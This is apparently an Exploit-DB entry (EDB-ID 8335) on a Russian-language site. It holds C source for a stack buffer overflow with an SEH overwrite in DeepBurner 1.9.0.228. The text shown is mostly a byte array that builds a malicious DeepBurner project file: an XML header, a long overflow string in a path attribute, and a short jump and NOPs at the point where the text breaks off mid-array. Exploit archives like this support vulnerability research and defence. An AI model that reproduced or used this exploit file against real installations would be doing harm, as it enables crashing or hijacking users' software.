- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 8335
- Проверка EDB
-
- Пройдено
- Автор
- FL0 FL0W
- Тип уязвимости
- DOS
- Платформа
- WINDOWS
- CVE
- N/A
- Дата публикации
- 2009-04-01
C:
//DeepBurner 1.9.0.228 Stack Buffer Overflow (SEH overwrite)
//prog name burner.c
#include <stdio.h>
#include <assert.h>
char file[] =
{
0x3C, 0x44, 0x65, 0x65, 0x70, 0x42, 0x75, 0x72, 0x6E, 0x65, 0x72, 0x5F, 0x72, 0x65, 0x63, 0x6F,
0x72, 0x64, 0x20, 0x76, 0x65, 0x72, 0x3D, 0x22, 0x31, 0x2E, 0x38, 0x2E, 0x30, 0x2E, 0x32, 0x32,
0x34, 0x22, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x64, 0x61, 0x74, 0x61, 0x22, 0x3E, 0x0D,
0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x61, 0x74, 0x61, 0x5F, 0x63, 0x64, 0x20, 0x76,
0x65, 0x72, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x3D, 0x22, 0x22,
0x20, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6F, 0x6E, 0x32, 0x69, 0x6D, 0x70, 0x6F, 0x72, 0x74, 0x3D,
0x22, 0x30, 0x22, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x5F, 0x64, 0x69, 0x73,
0x63, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x66, 0x69, 0x6E, 0x61, 0x6C, 0x69, 0x7A, 0x65, 0x5F, 0x74,
0x72, 0x61, 0x63, 0x6B, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x62, 0x6F, 0x6F, 0x74, 0x61, 0x62, 0x6C,
0x65, 0x3D, 0x22, 0x30, 0x22, 0x20, 0x62, 0x6F, 0x6F, 0x74, 0x5F, 0x69, 0x6D, 0x61, 0x67, 0x65,
0x5F, 0x70, 0x61, 0x74, 0x68, 0x3D, 0x22, 0x22, 0x3E, 0x0D, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x72, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x43,
0x44, 0x52, 0x6F, 0x6F, 0x74, 0x22, 0x20, 0x69, 0x6D, 0x70, 0x3D, 0x22, 0x30, 0x22, 0x3E, 0x0D,
0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x66,
0x69, 0x6C, 0x65, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x3D, 0x22, 0x74, 0x65, 0x73, 0x74, 0x2E, 0x74,
0x78, 0x74, 0x22, 0x20, 0x70, 0x61, 0x74, 0x68, 0x3D, 0x22, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x48, 0x48, 0x48, 0x48, 0x41, 0x58,
0x58, 0x41, 0x42, 0x42, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47,
0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x47, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42,
0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42,
0x42, 0x42, 0x42, 0x42, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46,
0x46, 0x46, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43,
0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x43, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44,
0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x44, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45, 0x45,
0x45, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58,
0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0x58, 0xEB, 0x40, 0x90, 0x90, 0x28, 0x79,
